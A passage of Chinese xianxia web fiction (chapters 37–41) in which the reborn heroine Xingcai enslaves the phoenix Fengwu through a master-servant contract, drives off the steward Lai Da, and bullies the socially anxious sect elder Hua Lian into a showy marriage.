许多人上合欢宗求教，观云婴和贺喜是这些人里脸皮最厚的，因此同花涟成为好友。
合欢宗因为花涟这样淳朴的修士，有一张名门正派的名牌。花涟也成宗门里类同吉祥物、景点打卡般的存在。
后来，花涟始终无法突破化神，追索过往的人生，记起与养母的约定：娶妻，带妻子去母亲坟前给她过目，像邻家结亲的小夫妻一样过日子。
只是，他的亲事一直不顺遂。
元婴娶良家凡女，新郎不亲自下山，是人都认为他居心不良或长得奇丑无比。亲事一拖再拖，拖至无人问津。
*
蜃珠洞府的木屋内，凤武僵笑张脸，敞开衣襟，露出两扇门、八块肌，其上滚一枚乌漆嘛黑不听话的蛋。他咬牙切齿道：“你不从这颗蛋里出来就不放本尊？本尊一只雄凤孵鬼蛋啊？你什么时候放本尊出去？”
每日不同类型的一连三问，有时候一天问好几次。
荇菜嫌烦，在他的胸脯上又滚又躺，恶劣起来专挑他敏感的地方钻，引逗他又气又笑。
更多的时候凤武被气得一蹦三尺高，又拿她无可奈何。
荇菜心情好时也会回应句：“听说鸟类出壳第一眼看到的人是妈，我不想你做我妈。”
“……老子涅槃后没变性。本尊也不想要你这种人不人、妖不妖的崽。”凤武又要炸了。
“我怕真香定律，出壳看到你的脸，认你做妈、你把我当儿怎么办？”
凤武闭眼，仰天换口大气，咬牙道：“你把本尊放出去就看不到本尊的脸。”出壳就掐死。
“不行。我没做过蛋，回头出壳不熟练出问题怎么办？你不是从蛋里出来吗？你有经验。用凡人的话说，你就是经验蛋。”
凤武气爆，忍耐终于到达极限。他口不择言道：“你外面得那层根本就不是蛋壳。你的本体被三种火焰煅烧后形成杂质，这黑壳是阳梧山和你本身的泥垢污秽。呸，本尊说出来都嫌脏嘴。”
荇菜沉默半响，幽幽道：“你告诉我这是蛋壳！！！”
凤武的面色一变再变，抓起蛋往空中抛。
反正这颗蛋会滚回来，避免同她解释：本尊把你认作后辈，你才不会借蜃珠的法则杀本尊。
然而，他这一抛，这颗蛋再没回来。
38. 第 38 章
汪洋水泽边的花涟孤身而立，一身白衣缥缈如仙。
他看向凭空落进掌心的黑蛋，冲到喉口的叹气被硬生生地憋回去。
环顾四周、天上地下，蛋没有主人。
花涟与蛋面面相觑：“观云婴说得第二次机会……难道是这颗蛋？”
“机会？”黑蛋出声。灵识轻扫，荇菜看向呈现在脑海里的脸，长得竟然还不错。
花涟已经吓一跳，差点把手里的蛋摔在地。
他手忙脚乱地接住乱蹦蛋，感觉脸面上被灵识滑过，惊魂未定又红脸道：“幸好没把你摔了。你你……别这样。”
“怎样？”荇菜说着，又用灵识扫过他的全身，“哟呵，洁身自好的男人啊。”
花涟的脸已经红成柿子，双手僵直地捧着蛋，呐呐：“你你你……是妖族吗？你叫什么？”
“罗里吧嗦，你叫什么，你是谁？”荇菜不再戏弄他。
“我是……”不能报合欢宗，别人一听合欢宗就嫌弃。
“我叫花涟，一名元婴修士，我……”
“你叫什么？”荇菜以为幻听又大声问遍。
是个人都能听出她话里的惊诧。
花涟僵硬张脸，蛋不会听过这个名字、知道合欢宗吧？
“观云婴会不会算错，我的妻子是颗蛋？”花涟意识到问题的本质，脸面又僵又红。
“妻子？做你的春秋大梦。”荇菜在蛋里一蹦三尺高。
花涟又手忙脚乱地接住她，叠声安抚：“好好好。你未孵化，不过是个孩子。我收你做弟子。我叫花涟，合欢宗的长老。你是妖族遗落的孩子吗？”
花涟等半天都没等到回应。这年头连颗蛋都嫌弃合欢宗。
他仰头长望，不知道是什么品种的不负责任的鸟妈妈在半空就下蛋，下了又不拿回去。
“天色未大亮，我要回宗门，顺道带你回去。若你流落在此处，可能成为河蟹的美餐或猛蛇的口粮。”
荇菜没吭声。这怕是孽缘，金莲被花涟养大，逃离成为童养媳的下场，现在轮到她。
花涟把从天而降的蛋带回合欢宗，途中问好几遍都没听到蛋喜欢住什么样的环境，自言自语道：“你从水泽乡来，极有可能是水鸟蛋。我把你安置在莲花殿的水池，待你破壳，自行决定去留。”
荇菜躺在莲花殿的莲池中央的小玉床，灵识扫过殿内各处。殿内的布置与金莲记忆里的场景毫无差别。
“造孽，兜兜转转又回来。”
数月后，花涟独自来到莲花殿，在后殿的玉床边单独坐一会。这是他不知道第几次被骗子们联合下套骗婚骗钱。
贺喜提醒他处理赖管事，花涟因为赖管事跟的时间长、彼此有感情，再次容忍他办事不利。
花涟对于金莲感到愧疚。若当时拒绝贺喜的提议养金莲，说不定金莲会过上她喜欢的人生。事以自此，人已经不在人世，再纠结也于事无补。
花涟走到莲池边，小玉床上的黑蛋非常安静，心也跟着平静许多，有了说些什么的欲望。
“母亲养我时年纪很大。她有个遗憾，没有看到亲儿娶媳。她希望我能娶一个温柔贤良的好妻子，成一个家，与隔壁邻家一样好好地过日子。
可是，这世上要娶个妻子怎么这么难？
山下的女子宁可跳河都不肯嫁我。”
荇菜忍不住在玉床上蹦哒，想到钓鱼执法那套。
“外面娶不到，你不会在家养一个？”
花涟微愣，听蛋的语气平和，不自觉就应道：“养了。第一个真成徒弟，第二个跑了，还……死了。”
“神经病，你养她就是她爹，怎么能把人做妻子，恋X癖吧？”
花涟没想到蛋的态度180度转变，受到不小的惊吓，后退着摆手：“不是这样。我确实养她。但是，我与她只见过一面，平日没有往来。
我担心峰外的流言，担心她不喜欢我……一直等她二十岁才见面，谁知……”
“呵，喜欢？你对外宣扬得不是养徒弟吗？你对养大的徒弟有不轨之心，你真是变态。”
“不是……金花确实是我的徒弟，金莲不是啊。她很小被贺喜送上山，与我没有行过拜师礼。我们什么关系都没有。她成年后我只见过她一面。”
“一面？”荇菜想起金莲脑子里朦朦胧胧的脸面，飘飘摇摇的白衫……这一面传了《欢情诀》，引起金莲对男人的幻想，成为金花趁机而入的引子。
“你没传她奇奇怪怪的功法？这里是合欢宗，古里古怪的功法多得是吧？”
“功法？没有……有，贺喜说女孩到年纪对男女的事好奇。我趁她睡时传一套辨别男女性别的功法，希望助她了解此事。”
“闭嘴吧，猥琐的老男人。你的好心是让她成为你房中术的奴隶。呸。”荇菜叽里咕噜大骂一通，在玉床上又蹦又跳，咕咚一下掉进池水。
花涟想要帮她又惊恐地后退，一颗心犹如被万箭穿刺，无法承受这痛苦，拔脚就逃走。之后，他再没来过莲花殿。
一年后，荇菜发现裹住她的泥壳水泡不软，无法靠外力融化。她实在没办法，寻蜃珠里的凤武帮助。
凤武让荇菜滚回蜃珠洞府，荇菜就是不回，用蜃珠主人的意念同他交流。凤武被困疯，朝思暮想，搞出个认主仆的方法。
荇菜听他的说法就知道这家伙使坏。凤武想要借住主仆契约认荇菜为仆，再以荇菜主人的身份克制蜃珠内部的空间法则，挣脱出去。
荇菜在《还阳功》的助力下，吸取大量的凤凰血，侵蚀原本属于人类的血液。加上黑羽的羽族精魄储藏三族真火，让她成为一颗类似鸟蛋的火茧。
如今，她的脑子里因凤凰血生出凤凰族的传承，对于主仆契约的签订过程毫不陌生。
她假意答应凤武的提议。
凤武也是异常激动，若能控制荇菜，就可以借机离开蜃珠洞府，甚至利用这个妖女去复仇。
双方各怀鬼胎，行动达成一致，祭出各自的心头血。
凤武负责刻画主仆契约，自以为计谋即将得逞，在关键时刻被蜃珠洞府的法则再次压制。
主仆契约里属于“仆印”得那一半在蜃珠主人的控制下旋飞入体，轰得凤武倒在冰雪上反应不过来。
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片刻后，他周身的灵力顺契约往外涌，再克制不住地跳起身破口大骂：
“死丫头，你要干什么？你自己不会修炼吗？你混蛋，不是人。你人不人，妖不妖……”
上一次他被《还阳功》吸血拔羽，几近毁掉凤族根基。
这一次荇菜直接攫取他的根基灵力，让凤武几近维持不住人形。
莲花殿里的荇菜终于靠借力打力的法子破开泥壳，赤足落地。
她抚摸双手双脸，开心道，“果然是灵力不够才不能打破这外壳。真好，本姑娘又回来了。哈哈哈哈……”
荇菜拾起两半黑泥壳，就是这玩意困她许久，用力硬掰它们都没能破坏。
“有趣。我不是儿童身，却藏在这么小的壳里，说明这壳是个宝贝。三族真火煅烧阳梧山形成的‘渣滓’，被还阳功的功力吸取包裹在外。不如说这是煅烧后的精粹，可以利用起来做个类似扭蛋的关人法器。”
她趴在莲花池边欣赏容貌，脸上五官没有金莲原本的模样，更没有穿书前荇菜可盐可甜的刚入职的青雉模样，有几分像女版的凤武。
怒目横眉时多分飒爽凌厉的英气，眼波流连时生出几分似水柔情的妖魅。这是全新的拥有妖婴境的荇菜。
“终于结婴，不必怕朱琴天、花涟，哈哈哈……离他也更进一步。”荇菜阴沉地冷笑两声，溜达起莲花殿，与读取金莲记忆里的场景互相融合，像是曾经就来过，很快就熟悉殿里的环境。
荇菜想起凤武，坐在妆台前感应蜃珠洞府。
凤武趴在冰面，在人形和凤凰鸟形间来回跳跃。随时间过去，他的境界跌落，将会彻底变成无法化形的凤凰，最后成为一颗归寂的凤凰蛋。
荇菜想起黑羽族的赤乌和狐羽、青鸾族的黎耀，冷笑道：“凤武，若你就这么死，那些火烧阳梧山、霸占羽民国皇宫的黑白毛的鸟儿不就逍遥自在。”
沉寂的凤武眨下长睫，听到她的话后拼一股恨意咬牙稳住境界。
不久后，他彻底定在人形，喃喃道：“你已经得逞变回人，放我出去。”
“我？骄傲自大的凤尊终于学乖。”荇菜对镜子里的姑娘勾起妩媚的唇，不点自红的樱唇冰冷道，“不行哦。以你现在的修为出去是送菜。
他们也得罪我，我得给你恢复点实力，再放你出去报仇。”
荇菜旋手绕灵，周身羽化一套火红的裙衫，衬得她像烈焰般火热，润白柔软的雪肌又让她美得沁人心脾。
道生花没有说错，《玉石还阳功》是如同食人花的存在，美丽芳香的外表只是为引诱高级食物。食物的等级越高，食人花的魅力就会越足，吸食过后成长得会更快。
荇菜欣赏火热的裙衫，抚摸乌黑如瀑的长发，承认一个事实。
“我真成人不人、妖不妖，跳脱五行、六界外的存在。对了，凤武，你会炼器吗？麻烦你帮我把羽雕镯修复，这两半泥壳也做成坚不可摧的囚笼，以后或有用。
完成这些……”
荇菜旋身展袖，对殿内的长镜嘻嘻哈哈，“我一定让你回去报仇，顺便帮我的仇也报了。哈哈哈……”
39. 第 39 章
蜃珠洞府内，凤武闭上眼，耳听外面传入癫狂的笑声，半死不活地坐起身。
他撑在冰面，仰看蜃珠洞府上空的浮白天色：“你这个发疯的女人，休……啊……”
荇菜一个心念，通过主仆契约直接刺入凤武的心脏，令他再次趴在地上喘息。
拥有力量的她张手凝力，掌心生出一捧炽烈的三色火焰：焰心发白，犹如蜃珠洞府的天空；中焰浅粉，宛若鲜亮的粉色玫瑰；外焰火红，如奔腾的流质岩浆。
她心脏的深处是一枚蕴藏火种的羽族精魄，一颗藏着万年冰山的晶莹蜃珠。两者在《还阳功》的功力牵引下达成相辅相成、流转互生的平衡状态。《还阳功》抵消水火相克的力量，融合三方，形成浑然一体的力量体系。
荇菜感受周身流转的强大力量，长吸口气后缓缓地吐出，慢慢地弯起唇角：“凤尊，自以为王的时代过去了。如今的你是我……本尊的奴仆，奴仆就要听话，尊重你的主子才能少吃苦头。”
趴在冰面上的凤武被心脏的疼痛刺地翻滚嘶吼，呕出大口熔岩似的血液，灼烧熔蚀冰面。他恨白尾青鸾、恨黑羽族，如今也恨荇菜。
荇菜握紧拳头，收起火焰，踏步走出莲花殿。沐浴在灼灼的日光下，她觉得自己已经彻底适应这个真情与假意、强者与弱者共生的修真时代。
“其实不都一样吗？只是我成长起来的方式不同。”
前方是花色练带般的壮美山川，像是旅游达人发在博客里的仙境美图。
她绽放明媚的笑容：“我喜欢这，动个念头就能去，不必攒路费门票钱，多好啊。哈哈哈……我要成为这里的主人，哈哈哈哈……”
蜃珠洞府内的凤武喘匀口气，满脸丧气，试图站起身又跌回冰面。
凤族的傲气让他怒不可遏，磨牙骂道：“你忘恩负义，不尊长辈。我助你成型，你……”
“你助本尊，你确定？”荇菜的心情颇好，再也没有迷惘，耐心道，“若不是本尊，你早已在火海里涅槃变回蛋，被人镇压在不知道什么冷冰冰的地方。这些年，你处处克制本尊，骗本尊是你的后辈得尊敬你，又想骗本尊签主仆契约。
凤武，若不是你有用，本尊直接吸收你。”
荇菜伸手感受阳光的温度，云云流转的《还阳功》让她在一呼一吸间充满朝气活力，缓缓道：“听话，本尊就让你回羽民国。不听话，本尊彻底吸收你，你连颗蛋都成不了。”
凤武直挺挺地倒在雪地，被折磨得一丝火气都没了。他知道这个女人说得是真话，真得会这么做。
但凡给她机会，她能生食活命。
她已经彻底适应尔虞我诈的修真界，步入一个全新的阶层，成为一名向上攀登的无情修士。
荇菜离开莲花殿，走向下层的山峰，林道山阶两侧花红柳树，如入闲庭。
迎面走上位八角胡子的中年男人，定定地看着荇菜穿过去。
一双小眼睛追随她，双眸大张时犹如向天神朝圣，随后眯起，像是饥饿的狼群发现极致猎物泛出绿光。
荇菜察觉戳在后背的目光，冷哼一声回头：“赖管事？”
赖大眯起的眸光越发明亮，快步下阶，巴巴道：“姑娘认识我赖大，赖大我可是莲花峰长老的管事，唯一得……”
“呵，花涟呢，在下面的殿里？”荇菜释放淡淡的威压。
赖大的脸色愣顿后变为小心地试探：“啊，是。峰主在殿里闭关，姑娘是哪座峰的长老，咱们莲花峰……”
“聒噪。”荇菜一步瞬移到达下层山峰的殿宇门口，一进殿就察觉周围的灵力波动，本该在上座的人……躲了？
她挑眉喊道，“花涟，出来。”
花涟在殿后张望，紧张地手心冒汗，面对动植物、好友熟人时还可以正常些，面对陌生人宛如渡劫。
“你是……”
“我是你捡回来，放在莲花殿……你不是说要收我做弟子？我来拜师啊。”
花涟惊讶了下，猛地出现在荇菜的面前，又接连后退。他被她艳丽的容色惊到心悸。
荇菜诧异地审视他，花涟的容貌比用灵识观看到的模样立体，长得干干净净，有一种蠢纯的观感。
她漫步逼近，花涟就更快地后退，脸面越发烫红、额头布满潮热的汗液，唇瓣也在轻微地发颤。
荇菜好奇极了，逼得花涟跌坐在椅子里。
她探手覆在花涟的额头，摸到大颗的汗珠：“啧，真是汗？你怕什么，我能吃了你？”
怎么像是我第一次去面试的感觉？
“你紧张啊？”
花涟张双眼，回避她的目光，垂目落在她的火红袖摆，紧张地点头。
“你，”荇菜勾起他的下颚，弯唇笑道，“不敢看我？”
花涟再次点头，眼神试图勇敢地对上她，瞥了下后又逃走。
这与面对一颗蛋时是完全不同的感觉，他紧张到手足无措，语不成句。
荇菜掐着他的下颚，迫他转脸面对自己，状似认真道：“我……幻想过你很多次，听说过你几次，绝对不是这个模样。”
“前辈前辈……”赖管事蹦进殿，大喊道，“求前辈放开我家峰主。他他不能见外人。”
“不能见外人？”荇菜松开花涟，见他跑向赖大，好笑道，“他是元婴修士啊。”
赖大理直气壮道：“谁说元婴就没有怕的东西。峰主就怕同外人打交道，一见陌生人就脸红发热，手颤唇抖。若前辈有事，可以找赖大我商量。”
花涟：……不是这样，又不完全是这样。
然而，他一个字都说不出来，也第一次发现赖管事这么不称心。
赖管事已经转头朝花涟道：“峰主，没事的，你先回内殿，赖大来处理这位前辈。”
“处理？”荇菜一个瞬移近前，出掌就把赖大轰出殿门外，转手接住花涟打来的灵力，趁机倾身向前，一张脸直戳花涟面前。
花涟的心跳停了，遑论打出去的灵力散成空气。他直直地看着眼前的脸，嵌在面上的漆黑眼珠里燃烧一捧三色明火，像是熔岩一样汹涌压来。
他呆滞着，直挺挺地往后倒下去。
荇菜直起身，诧异地踢了昏过去的花涟：“喂，昏了？真的假的？”
半日后，荇菜坐在花涟旁边盯着他，有趣道：“闻名不如见面，难怪道生花都听说过你啊。”
“道……道生花，是谁？”花涟往旁边挪些，避开荇菜的故意接触。他也想起曾经同贺喜和观云婴的相熟过程，痛苦的记忆很难让他镇定下来。
“无关紧要的人。”荇菜在殿内来回走动，朝一旁罗里吧嗦半天的赖大招手，“这么说你后院的姑娘是自愿跟你？”
“哎，是。”
“那个跳河的姑娘呢？”
“早嫁人了，孩子都能嫁人了。咱们是修士，凡人能活
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几年啊。她们怕峰主是个吃人的，没人敢上山。”
“放屁。你没同她们说你们峰主的长相、情况……”荇菜眸光跃动，驭音术相叠，直袭向赖大。
“没……没有。若是说了，她们就不怕峰主，我也得不到她们。”
“果然。”荇菜看向努力瞥过来的花涟，指向清醒后不明所以的赖大，“这种人还留着做什么？”
“我……需需要人处理峰峰峰里里的事。”花涟说完长吸口气，膝盖上拳紧的手直跳青筋。
“我帮你解决他。”荇菜说完，不顾花涟伸长阻止的手，朝赖大道，“按本尊的吩咐离开莲花峰，善待你的妻子儿女，不可再来峰上。另外，在玉华镇每日行善三事，不拘大小，不可欺辱妇孺，不可坑蒙拐骗，不可……泯灭良心……滚。”
赖大痴瞪双眸，躬身道：“是，尊上。”耳听滚字，弯下身后弓成球，滚出殿门。
花涟呆呆地看向走来的荇菜，想起接下来没有赖大的日子，感觉天都要塌了。他与荇菜的目光相触，赶紧放下手，撇开眼：“你……不不不能这样。”
“你以为我会直接杀他？”荇菜又杵到花涟的脸底，看他再次面红耳热，有趣道，“不像是自闭症，纯社恐、不善交际。哎，以后这里大大小小都得听我的话，可以吗？”
花涟重重地点头，斜瞥她又侧过身背对她。
荇菜忍不住笑开，兴奋道：“你也得听我的话，可以吗？”
“条条件。”
荇菜皱眉，试图理解他的话：“你还有条件？赖大走了，这么大的莲花峰就你我二人，没人照顾你，你得饿死啊。”
“不不会。我有……种菜、种药、养鱼、养蚕……还有……”花涟瞥见荇菜的脸色发黑，住口不提这些，“一个条条件。”这个关口，他甚至发现两个字两个字蹦就不会口吃。
荇菜轻舒口气，晃着衣袖道：“说吧。”
“成亲。”
“哈？”荇菜一把捏住花涟的脑袋，把他的脸摆正，挤成个嘟嘴笑话。
犀利的眼神直入花涟惊恐大张的眼眸，冷笑道，“当我制不了你。我可以向迷惑赖大一样支使你，最终让你乖乖听话。”
“不……不，可能。”花涟使劲挣下，从荇菜的手里夺回脸，穿过荇菜的腋下逃到殿中央。
殿中央的空旷让他有些不安，又寻到柱子后靠着：“御惑、御音、言灵、窥心、心魔……这这些、术法、都有、解法，你你你控制……不了了我。”
荇菜呵了声，瞬移到他的面前，直接笑道：“我不信，试试。”
花涟侧脸对她，鼓起勇气望入她的双瞳。潋滟的紫波里燃烧一簇火焰，焰心的白色里浮动母亲逝去前夕的画面。
当荇菜的灵识试图侵入花涟的额心神门，花涟撇眸举手，挡住灵识的入侵。
荇菜就感觉灵识穿过一片纯净的汪洋，像是漂浮在水泽乡时的感觉，干净、剔透，偶尔有鱼跃的场景。她回过神时像是踏在水泽乡的水面，底下映照出妩媚惊讶的人脸，属于她的脸。
“怎么……会这样？”
“人的心思干净，识海就是这样纯澈。”花涟的灵识传音清晰地传入荇菜的脑海。
荇菜收回灵识，后退了一步。
她与花涟的眼神对上，仿佛望入水泽乡干净的水面。
心猛跳两下，顺心遂意地亲上去：“我不信你是这样干净的人。”
40. 第 40 章
花涟惊恐地盯着凶巴巴的眼睛，屏住呼吸，僵直到不敢动。
“闭眼。”荇菜冷声道。
花涟听话的闭上眼睛，感官全都放在唇口。柔软地碰触像是清晨鲜嫩的蔬菜在掌心中湿湿脆脆地舒展，是那么柔软可亲。
下意识张开唇口，灵巧柔软的舌尖入侵，点触时像桃花瓣上的露珠滴在舌尖，带来沁凉入脾的早春芳香。
他置身在莲花峰的桃花林，凭本能去品尝桃花露，从浅触到深尝，露珠却已化为晨雾逃走。
花涟本能地弯下身，撅起嘴，却一直没等到露珠再来。他疑惑地睁眼看向眯眸冷笑的女人，瑟缩地躲开她的眼神碰撞，脱口而出：“我……娶你，条件。”
荇菜嗤笑一记，舔了唇瓣嘲弄他：“你明明说要收我做徒弟？”
心中有佛如惊蛰都会败在身体的欲望下，遑论书生项檀、鬼泣鲛童这些男人，便是心中缺爱的黑羽也脱不得俗……荇菜不信花涟能胜过他们。
花涟撇开眸，两颊飞着红霞，连耳尖都是血红色。
他努力张口：“成……亲。”
荇菜不缠着这个问题，又问：“听说你修到元婴都没下过山？”
“上次，带你，回来。”花涟不想磕巴，就两个字两个字地说。
荇菜点头，突然道：“为什么对娶亲这么执着？”
“母亲，遗愿。”花涟说完背过身，离开大殿。
他有些无法再面对她，太烫人了。入脾得犹如早晨山野的清新味道，在尝过后像是正午的烈阳般炽烈，烘烤着树林为之弯腰。他燥到急于离开，喝一杯山泉水。
他知道这种感觉非常危险，满足母亲的遗愿后解开心结，破境入化神才是他的目的。
荇菜抚摸冰凉的唇瓣，轻笑道：“真是个干净的人，眼里的欲望和冲动直白得让人可怜。不过，又是一个分身。”
莲花峰有一座书库，贺喜长老怕花涟无聊，应宗门的意思给他搬不少修真功法、修真四艺的相关书册。荇菜来后每天泡在书房，翻阅典籍，弥补没有师父教而缺少修真法术、常识的短板。
花涟寻去贺喜的峰头，把莲花峰上多个人……换了个人的事告知好友。
贺喜惊喜地大喊：“我的花涟啊，太阳从西边出来啦，你终于赶走赖大。这是要守得云开见月明了。”
他比花涟还激动，团团转着拍掌，“观云婴亲自卜算过、送上门的媳妇，你一定要好好招待她。成亲后，你把人领去坟前给老人家过目，解开心结，你就又能恢复往日的宁静生活。”
花涟觉得贺喜说得有道理。他本身也是这么想，只是，面对荇菜时心生危机感，又有些踌躇，更没把观云婴算得缘就是劫的事告诉贺喜。
贺喜又道：“天龙道将举办八宗会盟。宗主说，这次带你过去。你在会盟前夕解决此事。记住，姑娘家得哄，像照顾峰上花草蔬菜一样照顾她。没有赖大这搅事精，保准能成事。”
花涟自动忽视八宗会盟的事，得了方法后径直回莲花峰，望向殿中高坐的荇菜，低头躲着她走。
“站住。”荇菜放下书，喊道：“你不是社恐吗？去哪了？”
“欢欢欢喜峰。”花涟垂在白袖下的手已经握成拳，“我我会对你好，照顾花草一样照顾你。”
“呵，原来去取经，又是贺喜？”荇菜见他点头，朝他勾手指。
花涟垂着头看不到她，一时没动，心里翻覆着再接触几次就不会紧张，努力努力努力……
荇菜眯眸沉声：“过来，别让我说第二遍。”
花涟亦步亦趋地上前，站在荇菜的面前。
原本属于他的椅子成了她的，属于他的寝殿成了她的，属于他的书房成了她的……现在，他也要成了她的吗？
“本来，我想着占了金莲的身体总要为她做些什么……看到你又觉得没必要。若是没有金花那出戏，兴许你和金莲真能成为夫妻。社恐的男人却点满生活技能，白莲似的女人对外界一无所知。其实，你们挺相配。”
荇菜对上他惊诧的目光，好笑道，“我见过你的徒弟。”
“金花是，金莲不是。”花涟口齿清楚道。
荇菜审视着他，期待他脸上的变化：“金莲是被我杀死。你要为她报仇吗？”
花涟直直地看入荇菜的眼瞳。瞳术幻境里，青山洞窟里惊险得一幕扑面而来：金莲被人一剑刺穿，跌靠在石壁上，气绝身亡。
荇菜眨眼，收起让他看到的景象。不管怎么说，这个男人算是金莲的监护人，应该要知道这些事。
她保持着微笑，手中灵力蓄势待发：“在死前，我已经到她的体内，据我现在查的资料，这种情况叫夺舍。”
挥舞手中关乎识海、灵魂的书册，继续试探道，“所以，你要为她报仇吗？”
花涟直愣愣地看向荇菜，良久没有变化神色。待有反应后，他僵着双腿，离开大殿：有些乱，得理理。
荇菜搞不明白这人在想什么，切了声后继续看书。
晚间，荇菜回房，桌上摆放三菜一汤，清一色的蔬菜、清一色的汤，放在白玉似的盘盏里怪诱人好看。
“下毒毒死我？”荇菜没有动这些菜。
她把菜送入蜃珠洞府，朝凤武道，“你好久没吃东西吧，试试。”
凤武斜睨这些灵食，冷笑着：“凤凰非梧桐不栖，非竹实不食，非醴泉不饮……”
“本尊让你吃就吃。”荇菜冷声下令。
凤武被主仆契约牵引着扑倒在食物面前，双手被仆印强制地抓起食物塞入口。他屈辱又痛苦地咀嚼着，感受着入体的水属灵力，扭曲张痛苦的脸：“你不如杀了我。”
“有毒啊？”
凤武咬牙切齿：“我是火凤，你逼我服用五行属水的食物，不如杀了我。”
荇菜哦了声，淡定道：“水火不容，五行相克，别吃了。”
凤武扑倒在地，挥手扫落盘盏，溅了一地残渣。
荇菜杵下颚，思量道：“也对。自称心思纯净的人怎么会下毒。他取的经怕是讨媳妇喜欢的经吧。嗤。”
灵机一动，荇菜闪现到莲花峰的菜圃。红裙拂过绿意盎然的蔬菜，在莹莹月下走到木屋前。
花涟知道她在门口，躲在木屋里道：“有事？”
“出来。”荇菜看向打开的木屋门，门前杵着披上月纱的白衣修士。
花涟这种清汤寡水的人有股纯蠢的气质，最吸引“坏女人”，特别想让他也染上些红尘俗气。何况，对方本身也在求这样的俗气，就别怪她不客气。
荇菜思量后歪头呵笑：“什么是神识分身？”
花涟没想到她是来求教，心生一丝失落，又觉得这样才好。这问题与他的专业对口。
他背过身不看她，努力且认真地回答：“金丹修士突破元婴境界，体内会自生纯净婴体，谓之元婴。
元婴境界后修为突破至化神。此时，识海内的灵识会被修炼者进一步提纯，随修为的提高，修为突破至分神境，炼化成缕的灵识成为神识，谓之：分神。”
荇菜惊讶地看着他：这人竟然没有结巴。
花涟继续说：“此后，修为至合体境，神识入元婴体，达成天人合一。修士继续修炼到大乘境，元婴修出人体五行，成为内外通达纯净的半仙体。渡劫境，天道会降下雷劫，进一步精炼法体，剔
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除杂质，成就真正内外合一的纯净无垢的仙体，飞升成仙。”
“照你这么说，化神之前：炼气、筑基、金丹，元婴，修得是肉身法体；化神后：化神、分神、合体，修得是神识，重点在识海。大乘、渡劫是有神识的元婴和肉身法体的进一步融合，成就仙体。”
“不不错。”花涟避开她在月下潋滟的眼波，背过身，沉心静气道，“突破化神，重点是识海无垢，身无心魔。”
他想到自身的心魔是一个约定，握拳道，“我我需要找人成成成亲，了结一段过往，才能识无尘垢，突破化神。”
“所以，你成亲的最终目的是为突破化神？”
花涟重重地点头，随即心头微凉，半响无语。
他感觉自己把事情搞砸了。
荇菜心生恶劣的想法，颔首道：“为答谢你助我离开水泽乡，又教我这些，我答应同你成亲啊。不过，我要广告四海，喊天下人前来观礼。”
“为为为什么？”花涟的惊喜还没泛上就生惊恐，“成亲，两个个人。”
“错，成亲从来不是两个人的事。再者，你要娶我，若我那么容易就成亲，不是便宜你？你怕见人，我就让全世界的人都看到你。好玩吗？”
花涟：……不好玩。
“哈哈哈……”荇菜离开菜圃，返回住处。
她亭立在大殿的顶上，沐浴月华带给她的阴柔力量，缓缓笑道：“我怎么可能让黄椒的分身没有心魔呢？神识带着心魔回去，送他一份大礼，多好啊。哈哈哈哈……”
贺喜听过花涟提的成亲要求，来回踱步，脸色坚定道：“以前你不让我处理赖大，亲事次次搅黄。这次我替你做主。发帖、成亲。”说完他就去找宗主报喜。
花涟是来讨主意，没想到贺喜直接拍板定下这事。
事情往一个不可挽回的方向奔去。
几日后，荇菜在殿里迎来送礼的贺喜，指向殿中央一堆礼品盒：“各峰为什么不亲自送礼，烦你代劳？”
贺喜也是一头雾水，朝龟缩一旁的花涟道：“弟媳妇怎么是个元婴？你不是要找凡人的良家姑娘成亲？”
花涟摆动袖下的手指向荇菜，诚实道：“观云婴、算的。”
“这观云婴算得什么玩意。这样你怎么送走她？元婴啊，少说也能活千岁。”贺喜说完捂嘴，朝上面冷飕飕的荇菜拱手，“对不起，弟媳妇，我嘴上不把门。你放心，婚礼一定按你的要求办得轰轰烈烈、热热闹闹，我先去找宗主。”
“送走我？”荇菜走到神色绝望的花涟面前，好笑道，“原来你娶凡人是这么个打算啊，难怪一直没教金莲修炼。凡人寿数短，不过区区百年，碍不着你攀登仙道顶峰，对吧？”
这老实人的心里也不差小九九啊。
花涟张口无言，撇开脸。
荇菜嗤了声，捞起殿中的礼盒，拆开后拿起一根蘑菇头的玉势，晃到面色羞红的花涟面前，冷嘲道：“不愧是合欢宗，送的东西都这么特别。”
扬手御灵，殿中的礼盒消散，内中礼物飘在半空，露出它们奇形怪状的模样：带刺的灵蛇鞭、深海冰蜡、薄至透明的鲛人绫纱、不知养了什么玩意的跳动小球、犹如鸳鸯坐浴形状的玉质澡盆、一套十八式的男女小人玉像、颜色发亮的黑绸长绳……比某宝某趣用品店的花样都多。
荇菜大开眼界，抽搐唇角：“不愧是合欢宗，有没有一件可以卖了换钱的贺礼？”
回头找花涟，人已经不见。
“喂，出来，你不收起来吗？这些都是给你的新婚贺礼。”荇菜还要脸，自动屏蔽掉自己。她接住天外飞来的储物锦囊，脸色红润地收起五花八门的贺礼。
41. 第 41 章
晚间，荇菜吃着绿色食物，翻来覆去找肉沫：“花涟，你不吃肉食吗？”
花涟站在过道门廊，声音虽低，却清晰地传入房内：“不吃。”
“杀过人吗？”荇菜边吃边问，越吃嘴巴越淡。果然，她不完全是吃素的凤凰族。
“没有。”花涟的眼神穿过窗上轻纱，依稀看清荇菜撂筷子的生气模样，“不不不好吃吗？”
荇菜感觉嘴里无味，闪现到他的面前，一把握住要逃的花涟手腕。
她望着他，扯起唇，笑说：“你要娶我，不怕我害你吗？”
花涟暗吸口气，努力让自己看着她：“今天的的菜不不好吃？”
“啧，我想吃鱼，没有刺的鱼。”荇菜挑眉道，想黑羽了。
花涟张口无声，神色有些为难。
荇菜哂笑着松开手腕，花涟就低头转身，消失在原地。
次日，荇菜发现花涟离开莲花峰，寻上欢喜峰，得知花涟也没来，不由生出分好奇。
如今，合欢宗里把荇菜当准莲花峰主夫人，来去自由。
花涟说过，自幼时上山后只下过一次山，试图找回金莲、顺道带回颗蛋。
荇菜在玉华镇外的荒山湖边找到花涟。
周围一个人都没有，湖里的鱼在他的灵识控制下翻滚成一团，试图挣脱灵识主人的控制。若是常人，此时应该已经抓起鱼离开，花涟却在这湖边站许久。
荇菜没让他发现，返回莲花峰。
她走在莲花峰的各处，欣赏整齐的菜畦、长势葱绿的蔬菜，闻着扑鼻的应季果香……她摘个大桃子，擦了下就吃，口感脆软、满口津液，味道鲜甜。
她的心情越发好，游览到一处药田。主人为药植们贴上标签，标明药性和名称，“这和植物园有什么区别？”
荇菜又翻一座矮峰，山中有鱼池锦鲤，团团簇簇，非常鲜活。
“自家有鱼却去山外捞，‘老实人’啊。”
